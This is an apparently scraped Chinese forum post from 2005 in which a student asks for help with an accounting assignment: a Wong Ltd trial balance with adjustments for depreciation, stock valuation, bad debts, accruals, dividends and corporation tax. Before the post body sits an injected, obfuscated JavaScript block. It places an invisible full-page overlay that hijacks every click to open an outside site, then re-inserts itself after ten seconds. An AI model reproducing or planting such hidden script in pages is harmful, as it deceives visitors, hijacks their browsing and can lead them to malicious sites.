标题: 谁学accounting 啊???????快救救我 [打印本页] 作者: winnilo 时间: 2005-11-4 19:28 标题: 谁学accounting 啊???????快救救我 <script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>老师给了一个assignment...结果没人balance得了...就连我们最厉害那个也不行...快帮我看看啊...11号就是due day了啊!!
Question
The following trial balance was extracted from the books of Wong Ltd at 31 January 19X8
Dr Cr
$ $
Land at cost 59,950
Building at cost 48,000
Fixture at cost 23,110
Motor vehicles at cost 40,100
Provision for depreciation
Building 26,670
Fixtures 12,713
Motor vehicles 24,060
Trade debtors and creditors 15,748 7,620
Provision for bad debts 889
Wages and salaries 18,891
Sales 164,751
Purchases 73,501
Returns inwards 921
Returns outwards 434
Carriage inwards 3,810
Administration expenses 7,233
Selling and distribution expenses 4,515
Stock at cost (1-2-19X7) 9,906
Bank 4,693
Cash 470
10% debentures 20,000
Debenture interest 1,000
Directors' fees 10,100
Discount allowed 1,528
Discount received 2,027
Interim dividend 2,540
Ordinary shares of $1 each 40,000
Share premium 10,000
Retained profit (1-2-19X7) 16,852
326,016 326,016
Additional information:
1) The company depreciates all fixed assets held at the end of the year as follows
Building 2% per annum on cost
Fixtures 10% per annum on cost
Motor vehicles 20% per annum on the reducing balance
No depreciation has a yet been provided for the year ended 31-1-20X8
2) During the year a motor vehicle originally purchased on 1 February 19X4 for $6,000 was sold for $1,300. The only entries made in respect of this transaction were to debit bank and credit motor vehicles at cost account with the sale proceeds.
3) On 3-2-19X8 the company carried out a physical stock-take with the following results.
Categories Code Quantities Cost per unit $ Net realizable value per unit $
A 101 50 12.00 13.00
A 102 62 8.00 10.00
A 103 34 7.00 6.00
B 501 1,200 1.50 2.00
B 502 1,600 3.00 2.50
B 503 2,250 2.50 5.00
The following transactions occurred between 1-2-19X8 and 3-2-19X8:
Category Code Quantity
Receipts A 102 15
B 501 200
Sales A 101 24
B 503 220
4) $68 owed by a customer is to be written off as a bad debt against the provision.
5) The provision for bad debts is to be equal to 2.5% of the amounts owed by trade debtors.
6) On 31-1-19X8 selling and distribution expenses prepaid amounted to $559 and administration expenses accrued were $741.
7) The directors propose that a final dividend of 4 pence per share be paid.
8) Corporation tax is to be provided at 30% of net profit